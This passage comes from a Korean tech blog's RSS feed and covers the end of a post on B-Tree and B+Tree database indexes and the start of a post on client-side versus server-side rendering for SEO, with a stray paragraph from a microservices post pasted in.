/&gt;일반&amp;nbsp;이진&amp;nbsp;트리는&amp;nbsp;부모&amp;nbsp;노드&amp;nbsp;아래에&amp;nbsp;자식&amp;nbsp;노드가&amp;nbsp;최대&amp;nbsp;2개뿐입니다.&amp;nbsp;데이터가&amp;nbsp;1억&amp;nbsp;개면&amp;nbsp;트리의&amp;nbsp;깊이(높이)가&amp;nbsp;수십&amp;nbsp;단계로&amp;nbsp;깊어집니다.&amp;nbsp;데이터베이스에서&amp;nbsp;노드를&amp;nbsp;하나씩&amp;nbsp;타고&amp;nbsp;내려갈&amp;nbsp;때마다&amp;nbsp;**느려터진&amp;nbsp;하드디스크(SSD)를&amp;nbsp;한&amp;nbsp;번씩&amp;nbsp;읽어야(디스크&amp;nbsp;I/O)**&amp;nbsp;합니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;B-Tree의&amp;nbsp;혁신적인&amp;nbsp;구조:&amp;nbsp;한&amp;nbsp;노드에&amp;nbsp;수백&amp;nbsp;개의&amp;nbsp;키를&amp;nbsp;담는다!&amp;nbsp;] &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[&amp;nbsp;20&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;50&amp;nbsp;]&amp;nbsp;&amp;nbsp;(루트&amp;nbsp;노드) &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;／&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;│&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;＼ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[&amp;nbsp;5&amp;nbsp;|&amp;nbsp;10&amp;nbsp;|&amp;nbsp;15&amp;nbsp;]&amp;nbsp;&amp;nbsp;[&amp;nbsp;25&amp;nbsp;|&amp;nbsp;35&amp;nbsp;]&amp;nbsp;&amp;nbsp;[&amp;nbsp;60&amp;nbsp;|&amp;nbsp;70&amp;nbsp;|&amp;nbsp;80&amp;nbsp;|&amp;nbsp;90&amp;nbsp;]&amp;nbsp;(자식&amp;nbsp;노드) &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;B-Tree는&amp;nbsp;**&quot;하나의&amp;nbsp;노드에&amp;nbsp;2개가&amp;nbsp;아니라&amp;nbsp;수백~수천&amp;nbsp;개의&amp;nbsp;키를&amp;nbsp;담고,&amp;nbsp;수백&amp;nbsp;갈래의&amp;nbsp;자식&amp;nbsp;노드를&amp;nbsp;거느리는&amp;nbsp;뚱뚱하고&amp;nbsp;평평한&amp;nbsp;나무&quot;**입니다. &lt;br /&gt;*&amp;nbsp;트리의&amp;nbsp;높이가&amp;nbsp;고작&amp;nbsp;**3~4단계**에&amp;nbsp;불과합니다. &lt;br /&gt;*&amp;nbsp;즉,&amp;nbsp;데이터가&amp;nbsp;수천만&amp;nbsp;건에&amp;nbsp;달해도&amp;nbsp;**단&amp;nbsp;3~4번의&amp;nbsp;디스크&amp;nbsp;접근(블록&amp;nbsp;I/O)**만으로&amp;nbsp;원하는&amp;nbsp;데이터를&amp;nbsp;100%&amp;nbsp;찾아냅니다! &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;3.&amp;nbsp;현대&amp;nbsp;DB의&amp;nbsp;표준:&amp;nbsp;B+Tree의&amp;nbsp;독보적인&amp;nbsp;진화 &lt;br /&gt;&lt;br /&gt;오늘날&amp;nbsp;MySQL(InnoDB)&amp;nbsp;등&amp;nbsp;최신&amp;nbsp;DB&amp;nbsp;엔진은&amp;nbsp;B-Tree를&amp;nbsp;더욱&amp;nbsp;개량한&amp;nbsp;**B+Tree**를&amp;nbsp;사용합니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;B+Tree의&amp;nbsp;리프&amp;nbsp;노드&amp;nbsp;연결&amp;nbsp;리스트&amp;nbsp;구조&amp;nbsp;] &lt;br /&gt;루트/중간&amp;nbsp;노드:&amp;nbsp;실제&amp;nbsp;데이터는&amp;nbsp;없고&amp;nbsp;오직&amp;nbsp;'길&amp;nbsp;안내용&amp;nbsp;키(Key)'만&amp;nbsp;담아&amp;nbsp;슬림화 &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;▼ &lt;br /&gt;리프(바닥)&amp;nbsp;노드:&amp;nbsp;[10:데이터]&amp;nbsp;──&amp;gt;&amp;nbsp;[20:데이터]&amp;nbsp;──&amp;gt;&amp;nbsp;[30:데이터]&amp;nbsp;──&amp;gt;&amp;nbsp;[40:데이터] &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(모든&amp;nbsp;실제&amp;nbsp;데이터가&amp;nbsp;바닥에&amp;nbsp;모여있고,&amp;nbsp;서로&amp;nbsp;양방향&amp;nbsp;링크로&amp;nbsp;연결됨!) &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;**더&amp;nbsp;많은&amp;nbsp;키&amp;nbsp;적재**:&amp;nbsp;중간&amp;nbsp;노드에&amp;nbsp;실제&amp;nbsp;데이터&amp;nbsp;행을&amp;nbsp;두지&amp;nbsp;않고&amp;nbsp;길잡이&amp;nbsp;키만&amp;nbsp;두므로,&amp;nbsp;한&amp;nbsp;노드(16KB&amp;nbsp;페이지)에&amp;nbsp;훨씬&amp;nbsp;더&amp;nbsp;많은&amp;nbsp;키를&amp;nbsp;채워&amp;nbsp;넣어&amp;nbsp;트리의&amp;nbsp;높이를&amp;nbsp;극한으로&amp;nbsp;낮춥니다. &lt;br /&gt;2.&amp;nbsp;**풀&amp;nbsp;스캔&amp;nbsp;범위&amp;nbsp;검색의&amp;nbsp;제왕**:&amp;nbsp;모든&amp;nbsp;리프&amp;nbsp;노드가&amp;nbsp;**연결&amp;nbsp;리스트(Linked&amp;nbsp;List)**로&amp;nbsp;서로&amp;nbsp;손을&amp;nbsp;맞잡고&amp;nbsp;있습니다.&amp;nbsp;범위&amp;nbsp;검색(`10부터&amp;nbsp;40까지`)을&amp;nbsp;할&amp;nbsp;때&amp;nbsp;루트로&amp;nbsp;다시&amp;nbsp;올라갈&amp;nbsp;필요&amp;nbsp;없이,&amp;nbsp;10을&amp;nbsp;찾은&amp;nbsp;뒤&amp;nbsp;옆으로&amp;nbsp;손만&amp;nbsp;뻗어&amp;nbsp;쭉&amp;nbsp;훑어가면&amp;nbsp;되므로&amp;nbsp;범위&amp;nbsp;조회가&amp;nbsp;극도로&amp;nbsp;빠릅니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp;⚠️&amp;nbsp;4.&amp;nbsp;인덱스의&amp;nbsp;치명적인&amp;nbsp;대가&amp;nbsp;-&amp;nbsp;공짜가&amp;nbsp;아니다! &lt;br /&gt;&lt;br /&gt;인덱스가&amp;nbsp;빠르다고&amp;nbsp;해서&amp;nbsp;모든&amp;nbsp;컬럼에&amp;nbsp;마구잡이로&amp;nbsp;인덱스를&amp;nbsp;걸면&amp;nbsp;데이터베이스는&amp;nbsp;순식간에&amp;nbsp;마비됩니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;인덱스의&amp;nbsp;트레이드오프&amp;nbsp;] &lt;br /&gt;-&amp;nbsp;조회(SELECT):&amp;nbsp;빛의&amp;nbsp;속도로&amp;nbsp;빨라짐&amp;nbsp;(성능&amp;nbsp;극대화) &lt;br /&gt;-&amp;nbsp;쓰기(INSERT,&amp;nbsp;UPDATE,&amp;nbsp;DELETE):&amp;nbsp;심각하게&amp;nbsp;느려짐!&amp;nbsp;(성능&amp;nbsp;저하) &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;새로운&amp;nbsp;회원이&amp;nbsp;가입(`INSERT`)할&amp;nbsp;때마다,&amp;nbsp;DB는&amp;nbsp;원본&amp;nbsp;테이블에&amp;nbsp;회원을&amp;nbsp;추가할&amp;nbsp;뿐만&amp;nbsp;아니라&amp;nbsp;**수백만&amp;nbsp;개가&amp;nbsp;정렬되어&amp;nbsp;있는&amp;nbsp;B+Tree&amp;nbsp;인덱스&amp;nbsp;장부&amp;nbsp;속을&amp;nbsp;비집고&amp;nbsp;들어가&amp;nbsp;적절한&amp;nbsp;자리를&amp;nbsp;찾아&amp;nbsp;끼워&amp;nbsp;넣고,&amp;nbsp;노드가&amp;nbsp;넘치면&amp;nbsp;쪼개는&amp;nbsp;작업(Node&amp;nbsp;Split)**을&amp;nbsp;매번&amp;nbsp;수행해야&amp;nbsp;합니다. &lt;br /&gt;&lt;br /&gt;*&amp;nbsp;**인덱스&amp;nbsp;설계의&amp;nbsp;황금률**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;1.&amp;nbsp;`WHERE`,&amp;nbsp;`JOIN`,&amp;nbsp;`ORDER&amp;nbsp;BY`에&amp;nbsp;자주&amp;nbsp;쓰이는&amp;nbsp;컬럼에&amp;nbsp;건다. &lt;br /&gt;&amp;nbsp;&amp;nbsp;2.&amp;nbsp;카디널리티(데이터&amp;nbsp;중복도가&amp;nbsp;낮고&amp;nbsp;유니크한&amp;nbsp;정도,&amp;nbsp;예:&amp;nbsp;이메일,&amp;nbsp;주민번호)가&amp;nbsp;높은&amp;nbsp;컬럼이&amp;nbsp;최우선이다.&amp;nbsp;(성별처럼&amp;nbsp;'남/여'&amp;nbsp;2개뿐인&amp;nbsp;컬럼은&amp;nbsp;인덱스&amp;nbsp;효과가&amp;nbsp;거의&amp;nbsp;없음) &lt;br /&gt;&amp;nbsp;&amp;nbsp;3.&amp;nbsp;무분별한&amp;nbsp;다중&amp;nbsp;인덱스는&amp;nbsp;피하고&amp;nbsp;테이블당&amp;nbsp;3~5개&amp;nbsp;이내로&amp;nbsp;절제한다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;3줄&amp;nbsp;핵심&amp;nbsp;요약 &lt;br /&gt;&lt;br /&gt;1.&amp;nbsp;**DB&amp;nbsp;인덱스**는&amp;nbsp;책&amp;nbsp;뒤편의&amp;nbsp;색인처럼&amp;nbsp;특정&amp;nbsp;컬럼을&amp;nbsp;미리&amp;nbsp;정렬해&amp;nbsp;두어&amp;nbsp;$O(\log&amp;nbsp;N)$&amp;nbsp;초고속&amp;nbsp;탐색을&amp;nbsp;가능하게&amp;nbsp;하는&amp;nbsp;색인&amp;nbsp;장부다. &lt;br /&gt;2.&amp;nbsp;**B-Tree&amp;nbsp;및&amp;nbsp;B+Tree**는&amp;nbsp;하나의&amp;nbsp;노드에&amp;nbsp;수백&amp;nbsp;개의&amp;nbsp;키를&amp;nbsp;담아&amp;nbsp;트리의&amp;nbsp;깊이를&amp;nbsp;3~4단계로&amp;nbsp;낮춤으로써&amp;nbsp;디스크&amp;nbsp;I/O를&amp;nbsp;최소화한&amp;nbsp;데이터베이스의&amp;nbsp;심장이다. &lt;br /&gt;3.&amp;nbsp;조회&amp;nbsp;성능은&amp;nbsp;극대화되지만&amp;nbsp;삽입&amp;middot;수정&amp;middot;삭제&amp;nbsp;시&amp;nbsp;인덱스&amp;nbsp;정렬&amp;nbsp;비용이&amp;nbsp;발생하므로,&amp;nbsp;신중하고&amp;nbsp;절제된&amp;nbsp;인덱스&amp;nbsp;설계가&amp;nbsp;필수적이다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;다음&amp;nbsp;편&amp;nbsp;예고 &lt;br /&gt;&lt;br /&gt;데이터베이스의&amp;nbsp;성능을&amp;nbsp;최적화하여&amp;nbsp;튼튼한&amp;nbsp;금고를&amp;nbsp;마련했다면,&amp;nbsp;이제&amp;nbsp;이&amp;nbsp;거대한&amp;nbsp;서버와&amp;nbsp;DB&amp;nbsp;컨테이너&amp;nbsp;수백&amp;nbsp;개를&amp;nbsp;클라우드&amp;nbsp;환경에서&amp;nbsp;자유자재로&amp;nbsp;배포하고&amp;nbsp;관리할&amp;nbsp;방법이&amp;nbsp;필요합니다. &lt;br /&gt;&lt;br /&gt;다음&amp;nbsp;편에서는&amp;nbsp;전&amp;nbsp;세계&amp;nbsp;엔터프라이즈&amp;nbsp;인프라를&amp;nbsp;통일한&amp;nbsp;오케스트레이션의&amp;nbsp;지배자,&amp;nbsp;**[쿠버네티스(Kubernetes)란&amp;nbsp;무엇인가?&amp;nbsp;-&amp;nbsp;수백&amp;nbsp;개의&amp;nbsp;도커&amp;nbsp;컨테이너를&amp;nbsp;지휘하는&amp;nbsp;마에스트로]**를&amp;nbsp;누구보다&amp;nbsp;쉽게&amp;nbsp;설명해&amp;nbsp;드리겠습니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>데이터베이스 &amp;amp; 스토리지</category>
      <category>b+tree</category>
      <category>btree</category>
      <category>DB</category>
      <category>index</category>
      <category>SQL</category>
      <category>데이터베이스</category>
      <category>백엔드</category>
      <category>인덱스</category>
      <category>자료구조</category>
      <category>쿼리튜닝</category>
      <author>arthurdaddy</author>
      <guid isPermaLink="true">https://softwin.tistory.com/89</guid>
      <comments>https://softwin.tistory.com/89#entry89comment</comments>
      <pubDate>Wed, 14 Oct 2026 23:31:25 +0900</pubDate>
    </item>
    <item>
      <title>CSR vs SSR vs Next.js - 검색엔진에 내 웹사이트가 안 나오는 진짜 이유</title>
      <link>https://softwin.tistory.com/88</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;#&amp;nbsp;모놀리식&amp;nbsp;vs&amp;nbsp;마이크로서비스(MSA)&amp;nbsp;-&amp;nbsp;배달의민족과&amp;nbsp;넷플릭스는&amp;nbsp;왜&amp;nbsp;시스템을&amp;nbsp;쪼갰을까? &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;들어가며&amp;nbsp;-&amp;nbsp;하나의&amp;nbsp;거대한&amp;nbsp;거인과&amp;nbsp;수백&amp;nbsp;명의&amp;nbsp;소인국&amp;nbsp;특공대 &lt;br /&gt;&lt;br /&gt;지난&amp;nbsp;글에서&amp;nbsp;우리는&amp;nbsp;클라이언트와&amp;nbsp;서버가&amp;nbsp;웹에서&amp;nbsp;표준&amp;nbsp;규약에&amp;nbsp;따라&amp;nbsp;깔끔하게&amp;nbsp;대화하는&amp;nbsp;**RESTful&amp;nbsp;API**의&amp;nbsp;설계&amp;nbsp;원리를&amp;nbsp;살펴보았습니다.&amp;nbsp;API를&amp;nbsp;통해&amp;nbsp;요청을&amp;nbsp;주고받는&amp;nbsp;법을&amp;nbsp;배웠으니,&amp;nbsp;이제&amp;nbsp;그&amp;nbsp;요청을&amp;nbsp;받아&amp;nbsp;실제로&amp;nbsp;복잡한&amp;nbsp;비즈니스&amp;nbsp;로직을&amp;nbsp;처리하는&amp;nbsp;**서버&amp;nbsp;애플리케이션의&amp;nbsp;내부&amp;nbsp;구조(아키텍처)**를&amp;nbsp;들여다볼&amp;nbsp;차례입니다. &lt;br /&gt;&lt;br /&gt;스타트업을&amp;nbsp;처음&amp;nbsp;창업해서&amp;nbsp;개발을&amp;nbsp;시작할&amp;nbsp;때는&amp;nbsp;보통&amp;nbsp;로그인,&amp;nbsp;회원가입,&amp;nbsp;상품&amp;nbsp;검색,&amp;nbsp;결제,&amp;nbsp;장바구니&amp;nbsp;기능을&amp;nbsp;**하나의&amp;nbsp;커다란&amp;nbsp;코드&amp;nbsp;프로젝트(서버&amp;nbsp;1개)**에&amp;nbsp;전부&amp;nbsp;다&amp;nbsp;집어넣고&amp;nbsp;개발합니다.&amp;nbsp;만들기도&amp;nbsp;쉽고&amp;nbsp;배포도&amp;nbsp;한&amp;nbsp;번만&amp;nbsp;딸깍하면&amp;nbsp;끝나기&amp;nbsp;때문이죠. &lt;br /&gt;&lt;br /&gt;하지만&amp;nbsp;회사가&amp;nbsp;급성장하여&amp;nbsp;사용자가&amp;nbsp;1,000만&amp;nbsp;명을&amp;nbsp;넘어가고&amp;nbsp;개발자가&amp;nbsp;수백&amp;nbsp;명으로&amp;nbsp;불어나면,&amp;nbsp;이&amp;nbsp;거대한&amp;nbsp;단일&amp;nbsp;시스템은&amp;nbsp;서서히&amp;nbsp;통제&amp;nbsp;불능의&amp;nbsp;괴물로&amp;nbsp;변해버립니다.#&amp;nbsp;CSR&amp;nbsp;vs&amp;nbsp;SSR&amp;nbsp;vs&amp;nbsp;Next.js&amp;nbsp;-&amp;nbsp;검색엔진에&amp;nbsp;내&amp;nbsp;웹사이트가&amp;nbsp;안&amp;nbsp;나오는&amp;nbsp;진짜&amp;nbsp;이유 &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;들어가며&amp;nbsp;-&amp;nbsp;밤새워&amp;nbsp;만든&amp;nbsp;내&amp;nbsp;웹사이트가&amp;nbsp;구글&amp;nbsp;검색에&amp;nbsp;안&amp;nbsp;나온다? &lt;br /&gt;&lt;br /&gt;지난&amp;nbsp;글에서&amp;nbsp;우리는&amp;nbsp;화면을&amp;nbsp;다시&amp;nbsp;그리는&amp;nbsp;깜빡임(Reflow/Repaint)을&amp;nbsp;없애고&amp;nbsp;초고속으로&amp;nbsp;UI를&amp;nbsp;갱신하는&amp;nbsp;**가상&amp;nbsp;DOM(Virtual&amp;nbsp;DOM)과&amp;nbsp;React의&amp;nbsp;동작&amp;nbsp;원리**를&amp;nbsp;살펴보았습니다.&amp;nbsp;리액트&amp;nbsp;덕분에&amp;nbsp;우리는&amp;nbsp;모바일&amp;nbsp;앱처럼&amp;nbsp;부드럽고&amp;nbsp;반응성이&amp;nbsp;뛰어난&amp;nbsp;모던&amp;nbsp;웹&amp;nbsp;애플리케이션(SPA:&amp;nbsp;Single&amp;nbsp;Page&amp;nbsp;Application)을&amp;nbsp;손쉽게&amp;nbsp;만들&amp;nbsp;수&amp;nbsp;있게&amp;nbsp;되었습니다. &lt;br /&gt;&lt;br /&gt;그런데&amp;nbsp;수개월&amp;nbsp;동안&amp;nbsp;피땀&amp;nbsp;흘려&amp;nbsp;리액트로&amp;nbsp;멋진&amp;nbsp;쇼핑몰&amp;nbsp;사이트를&amp;nbsp;완성해&amp;nbsp;런칭한&amp;nbsp;초보&amp;nbsp;개발자가&amp;nbsp;얼마&amp;nbsp;지나지&amp;nbsp;않아&amp;nbsp;충격적인&amp;nbsp;현실과&amp;nbsp;마주하게&amp;nbsp;됩니다. &lt;br /&gt;&lt;br /&gt;&amp;gt;&amp;nbsp;**&quot;구글과&amp;nbsp;네이버에&amp;nbsp;우리&amp;nbsp;쇼핑몰&amp;nbsp;상품&amp;nbsp;이름을&amp;nbsp;검색해도&amp;nbsp;검색&amp;nbsp;결과에&amp;nbsp;단&amp;nbsp;하나도&amp;nbsp;노출되지&amp;nbsp;않습니다.&amp;nbsp;심지어&amp;nbsp;소셜&amp;nbsp;미디어(카톡,&amp;nbsp;페이스북)에&amp;nbsp;링크를&amp;nbsp;공유해도&amp;nbsp;썸네일과&amp;nbsp;미리보기가&amp;nbsp;새하얀&amp;nbsp;빈칸으로&amp;nbsp;뜹니다!&quot;** &lt;br /&gt;&lt;br /&gt;도대체&amp;nbsp;왜&amp;nbsp;이런&amp;nbsp;황당한&amp;nbsp;일이&amp;nbsp;벌어질까요?&amp;nbsp;내&amp;nbsp;컴퓨터에서는&amp;nbsp;화면이&amp;nbsp;그렇게&amp;nbsp;번쩍번쩍&amp;nbsp;잘&amp;nbsp;뜨는데,&amp;nbsp;왜&amp;nbsp;검색엔진&amp;nbsp;로봇들은&amp;nbsp;내&amp;nbsp;웹사이트를&amp;nbsp;'빈&amp;nbsp;도화지'로&amp;nbsp;인식하는&amp;nbsp;걸까요? &lt;br /&gt;&lt;br /&gt;그&amp;nbsp;비밀은&amp;nbsp;바로&amp;nbsp;웹페이지를&amp;nbsp;브라우저에서&amp;nbsp;그리느냐,&amp;nbsp;아니면&amp;nbsp;서버에서&amp;nbsp;미리&amp;nbsp;그려서&amp;nbsp;보내주느냐&amp;nbsp;하는&amp;nbsp;**CSR(클라이언트&amp;nbsp;사이드&amp;nbsp;렌더링)과&amp;nbsp;SSR(서버&amp;nbsp;사이드&amp;nbsp;렌더링)**의&amp;nbsp;차이에&amp;nbsp;있습니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; ️&amp;nbsp;1.&amp;nbsp;일상&amp;nbsp;비유:&amp;nbsp;'밀키트&amp;nbsp;배달'&amp;nbsp;vs&amp;nbsp;'완성된&amp;nbsp;따뜻한&amp;nbsp;요리&amp;nbsp;배달' &lt;br /&gt;&lt;br /&gt;CSR과&amp;nbsp;SSR의&amp;nbsp;차이는&amp;nbsp;배달&amp;nbsp;음식을&amp;nbsp;시켜&amp;nbsp;먹는&amp;nbsp;두&amp;nbsp;가지&amp;nbsp;방식에&amp;nbsp;비유하면&amp;nbsp;단&amp;nbsp;10초&amp;nbsp;만에&amp;nbsp;이해할&amp;nbsp;수&amp;nbsp;있습니다. &lt;br /&gt;&lt;br /&gt;``` &lt;br /&gt;[&amp;nbsp;CSR&amp;nbsp;(밀키트&amp;nbsp;배달):&amp;nbsp;재료를&amp;nbsp;받아서&amp;nbsp;손님이&amp;nbsp;직접&amp;nbsp;조리&amp;nbsp;] &lt;br /&gt;식당(서버)&amp;nbsp;──(빈&amp;nbsp;프라이팬&amp;nbsp;+&amp;nbsp;양념/재료&amp;nbsp;뭉치&amp;nbsp;발송)──&amp;gt;&amp;nbsp;손님(브라우저) &lt;br /&gt;손님:&amp;nbsp;&quot;어라?&amp;nbsp;당장&amp;nbsp;먹을&amp;nbsp;수&amp;nbsp;있는&amp;nbsp;요리가&amp;nbsp;없네?&amp;nbsp;(흰&amp;nbsp;화면) &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;내가&amp;nbsp;레시피(JS&amp;nbsp;번들)&amp;nbsp;읽고&amp;nbsp;프라이팬에&amp;nbsp;볶아야겠다!&amp;nbsp;(로딩&amp;nbsp;바) &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;...&amp;nbsp;2초&amp;nbsp;뒤&amp;nbsp;요리&amp;nbsp;완성!&amp;nbsp;이제&amp;nbsp;맛있게&amp;nbsp;먹자!&quot; &lt;br /&gt;&lt;br /&gt;[&amp;nbsp;SSR&amp;nbsp;(완조리&amp;nbsp;배달):&amp;nbsp;주방장이&amp;nbsp;요리해서&amp;nbsp;즉시&amp;nbsp;먹을&amp;nbsp;수&amp;nbsp;있게&amp;nbsp;발송&amp;nbsp;] &lt;br /&gt;식당(서버)&amp;nbsp;──(김이&amp;nbsp;모락모락&amp;nbsp;나는&amp;nbsp;완성된&amp;nbsp;갈비찜&amp;nbsp;발송)──&amp;gt;&amp;nbsp;손님(브라우저) &lt;br /&gt;손님:&amp;nbsp;&quot;배달&amp;nbsp;상자를&amp;nbsp;열자마자&amp;nbsp;완성된&amp;nbsp;요리가&amp;nbsp;눈앞에&amp;nbsp;딱!&amp;nbsp;(초고속&amp;nbsp;첫&amp;nbsp;화면) &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;포크로&amp;nbsp;집어&amp;nbsp;먹으면서&amp;nbsp;천천히&amp;nbsp;음료수&amp;nbsp;캔을&amp;nbsp;딴다!&quot; &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;*&amp;nbsp;**CSR&amp;nbsp;(Client&amp;nbsp;Side&amp;nbsp;Rendering:&amp;nbsp;밀키트)**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;서버는&amp;nbsp;뼈대만&amp;nbsp;있는&amp;nbsp;텅&amp;nbsp;빈&amp;nbsp;HTML&amp;nbsp;파일(`&amp;lt;body&amp;gt;&amp;lt;div&amp;nbsp;id=&quot;root&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/body&amp;gt;`)과&amp;nbsp;거대한&amp;nbsp;자바스크립트&amp;nbsp;뭉치(밀키트)만&amp;nbsp;브라우저에&amp;nbsp;던져줍니다.&amp;nbsp;브라우저가&amp;nbsp;이&amp;nbsp;자바스크립트를&amp;nbsp;한&amp;nbsp;줄&amp;nbsp;한&amp;nbsp;줄&amp;nbsp;해석하고&amp;nbsp;실행해서야&amp;nbsp;비로소&amp;nbsp;화면에&amp;nbsp;글자와&amp;nbsp;이미지가&amp;nbsp;나타납니다. &lt;br /&gt;*&amp;nbsp;**SSR&amp;nbsp;(Server&amp;nbsp;Side&amp;nbsp;Rendering:&amp;nbsp;완제품&amp;nbsp;요리)**: &lt;br /&gt;&amp;nbsp;&amp;nbsp;서버가&amp;nbsp;데이터를&amp;nbsp;DB에서&amp;nbsp;조회하여&amp;nbsp;**글자와&amp;nbsp;이미지가&amp;nbsp;완벽하게&amp;nbsp;채워진&amp;nbsp;완성된&amp;nbsp;HTML&amp;nbsp;문서**를&amp;nbsp;서버에서&amp;nbsp;미리&amp;nbsp;렌더링(조리)한&amp;nbsp;뒤&amp;nbsp;브라우저에&amp;nbsp;전송합니다.&amp;nbsp;브라우저는&amp;nbsp;받자마자&amp;nbsp;0.1초&amp;nbsp;만에&amp;nbsp;화면을&amp;nbsp;번개처럼&amp;nbsp;띄울&amp;nbsp;수&amp;nbsp;있습니다. &lt;br /&gt;&lt;br /&gt;--- &lt;br /&gt;&lt;br /&gt;##&amp;nbsp; &amp;nbsp;2.&amp;nbsp;검색엔진(SEO)이&amp;nbsp;CSR을&amp;nbsp;외면하는&amp;nbsp;이유 &lt;br /&gt;&lt;br /&gt;구글이나&amp;nbsp;네이버의&amp;nbsp;검색&amp;nbsp;로봇(크롤러)은&amp;nbsp;매일&amp;nbsp;수억&amp;nbsp;개의&amp;nbsp;웹사이트를&amp;nbsp;방문하여&amp;nbsp;페이지에&amp;nbsp;적힌&amp;nbsp;글자를&amp;nbsp;긁어모아&amp;nbsp;인덱스를&amp;nbsp;만듭니다. &lt;br /&gt;&lt;br /&gt;그런데&amp;nbsp;검색&amp;nbsp;로봇이&amp;nbsp;순수&amp;nbsp;리액트(CSR)로&amp;nbsp;만든&amp;nbsp;사이트에&amp;nbsp;방문하면&amp;nbsp;어떤&amp;nbsp;일이&amp;nbsp;벌어질까요? &lt;br /&gt;&lt;br /&gt;```html &lt;br /&gt;&amp;lt;!--&amp;nbsp;검색&amp;nbsp;로봇이&amp;nbsp;다운로드받은&amp;nbsp;CSR&amp;nbsp;웹페이지의&amp;nbsp;실제&amp;nbsp;소스&amp;nbsp;코드&amp;nbsp;--&amp;gt; &lt;br /&gt;&amp;lt;!DOCTYPE&amp;nbsp;html&amp;gt; &lt;br /&gt;&amp;lt;html&amp;gt; &lt;br /&gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;멋진&amp;nbsp;쇼핑몰&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt; &lt;br /&gt;&amp;lt;body&amp;gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;lt;div&amp;nbsp;id=&quot;root&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;nbsp;&amp;nbsp;&amp;lt;!--&amp;nbsp;텅&amp;nbsp;비어있음!&amp;nbsp;상품&amp;nbsp;이름도,&amp;nbsp;가격도&amp;nbsp;없음!&amp;nbsp;--&amp;gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;lt;script&amp;nbsp;src=&quot;/bundle.js&quot;&amp;gt;&amp;lt;/script&amp;gt; &lt;br /&gt;&amp;lt;/body&amp;gt; &lt;br /&gt;&amp;lt;/html&amp;gt; &lt;br /&gt;``` &lt;br /&gt;&lt;br /&gt;검색&amp;nbsp;로봇은&amp;nbsp;사람처럼&amp;nbsp;느긋하게&amp;nbsp;자바스크립트가&amp;nbsp;다운로드되고&amp;nbsp;실행될&amp;nbsp;때까지&amp;nbsp;기다려주지&amp;nbsp;않습니다!&amp;nbsp;&amp;nbsp; &lt;br 